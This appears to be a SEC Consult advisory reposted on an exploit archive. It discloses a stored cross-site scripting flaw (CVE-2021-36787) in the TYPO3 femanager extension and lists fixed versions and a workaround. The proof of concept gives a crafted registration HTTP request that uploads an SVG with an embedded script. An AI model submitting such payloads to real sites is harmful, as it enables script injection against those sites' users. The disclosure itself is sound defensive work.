

TYPO3 femanager 6.3.0 Cross Site Scripting

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TYPO3 femanager extension versions 6.0.0 through 6.0.3 and 5.5.0 and below suffer from a persistent cross site scripting vulnerability.

tags | [exploit](#) [xss](#)

advisories | [CVE-2021-36787](#)

SHA-256 | [7eb7ca4dba4d4b114124d2c465fdc4c7a42cb7930e3df3d3662fa51a53b359ac](#) [Download](#) | [Favorite](#) | [View](#)

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SEC Consult Vulnerability Lab Security Advisory < 20220117-0 >

title: Stored Cross-Site Scripting vulnerability
product: TYPO3 extension "femanager"
vulnerable version: 6.0.0 - 6.3.0 and 5.5.0 and below
fixed version: 6.3.1 and 5.5.1
CVE number: CVE-2021-36787
impact: Medium
homepage: <https://www.in2code.de>
<https://extensions.typo3.org/extension/femanager>
found: 2021-06-01
by: Lukas Eder (AtoS Germany)
SEC Consult Vulnerability Lab

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Vendor description:

"Femanager is an extension for a TYPO3 Frontend-User Registration.
Maybe you know `sr_feuser_register` but you want to use a more modern extension,
give Femanager a try.
This extension basically brings an easy-to-use frontend-user-registration with a
profile manager to your system. In addition femanager was developed to be
very flexible and to bring a lot of features out of the box."

Source: <https://docs.typo3.org/p/in2code/femanager/master/en-us/Introduction/Index.html>

Business recommendation:

The vendor provides a patched version which should be installed immediately.

Vulnerability overview/description:

1) Stored Cross-Site Scripting (CVE-2021-36787)
The default configuration of the upload function within the registration workflow
of the femanager to create new frontend users allows an upload of various file types
as profile image.

An attacker can use the upload function in the registration process to upload
SVG files with embedded JavaScript code that is stored on the webserver.
Depending on the developed application, the malicious JavaScript code is
executed in the context of other users in various scenarios, e.g. when a user
visits the profile of the attacker's frontend user.

Proof of concept:

1) Stored Cross-Site Scripting (CVE-2021-36787)
The vulnerability can be triggered if the extension's image upload function is
used.

The following proof of concept shows the crafted HTTP Request that was used to
create a user with embedded JavaScript code in the SVG file. This SVG file is
used as profile image, which leads to execution every time the image is rendered.

HTTP Request:

POST /login/registrieren?tx_femanager_pi1%5Baction%5D=create&tx_femanager_pi1%5Bcontroller%5D=New&Hash=XXX
HTTP/1.1
Host: <IP>
Content-Type: multipart/form-data; boundary=-----222617292530868691744105633415
Connection: close

-----222617292530868691744105633415
Content-Disposition: form-data; name="tx_femanager_pi1[_referrer]";[extension]"

Femanager
-----222617292530868691744105633415
Content-Disposition: form-data; name="tx_femanager_pi1[_referrer]";[vendor]"

In2code
[...]

-----222617292530868691744105633415
Content-Disposition: form-data; name="tx_femanager_pi1[user][username]"

XXX
-----222617292530868691744105633415
Content-Disposition: form-data; name="tx_femanager_pi1[user][password]"

XXX
-----222617292530868691744105633415
Content-Disposition: form-data; name="tx_femanager_pi1[password_repeat]"

XXX
[...]

-----222617292530868691744105633415
Content-Disposition: form-data; name="tx_femanager_pi1[user][image][0]"; filename="xss_file.svg"
Content-Type: image/svg+xml

<svg xmlns="http://www.w3.org/2000/svg">
<script>alert("XSS WORKS")</script>
</svg>

-----222617292530868691744105633415

Tested versions:

The following version has been tested:
* femanager: 5.4.2 (TYPO3: 9.5.27)

The vendor confirmed that the following versions are also affected by the vulnerability:
* femanager: 6.0.0 - 6.3.0 and 5.5.0 and below

Vendor contact timeline:

2021-07-05: Contacting vendor through security@typo3.org.
2021-07-06: Received information from vendor that they will work on a solution.
2021-08-10: Received info from vendor about a released Typo3 Security Advisory that covers

File Archive: December 2022 <

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Conference (673)

Cracker (840)

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DoS (22,602)

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Exploit (50,359)

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Local (14,201)

Magazine (586)

Overflow (12,419)

Perl (1,418)

PHP (5,093)

Proof of Concept (2,291)

Protocol (3,435)

Python (1,467)

Remote (30,044)

Root (3,504)

Ruby (594)

Scanner (1,631)

Security Tool (7,777)

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Shellcode (1,204)

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Apple (1,926)

BSD (370)

CentOS (55)

Cisco (1,917)

Debian (6,634)

Fedora (1,600)

FreeBSD (1,242)

Gentoo (4,272)

HPUX (878)

IOS (330)

iPhone (108)

IRIX (220)

Juniper (67)

Linux (44,315)

Mac OS X (684)

Mandriva (3,105)

NetBSD (255)

OpenBSD (479)

RedHat (12,469)

Slackware (941)

Solaris (1,607)

the vulnerability. The advisory also covers the updated versions of the extensions that should be used.
2022-01-17: Release of security advisory.

Solution:

The vendor provides a patched version which should be installed immediately.

Further information can be found at the Typo3 security advisory:
<https://typo3.org/security/advisory/typo3-ext-sa-2021-010>

Workaround:

The upload of SVG files could be disabled. This can be accomplished by adjusting the configuration file of the femanager extension. If SVG files are necessary for the functions of the website, it must be ensured that malicious code within these files, e.g. in the form of JavaScript, is not executed.

Advisory URL:

<https://sec-consult.com/vulnerability-lab/>

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TCP (2,379)	UNIX (9,159)
Trojan (686)	UnixWare (185)
UDP (676)	Windows (6,511)
Virus (662)	Other
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XSS (17,494)	
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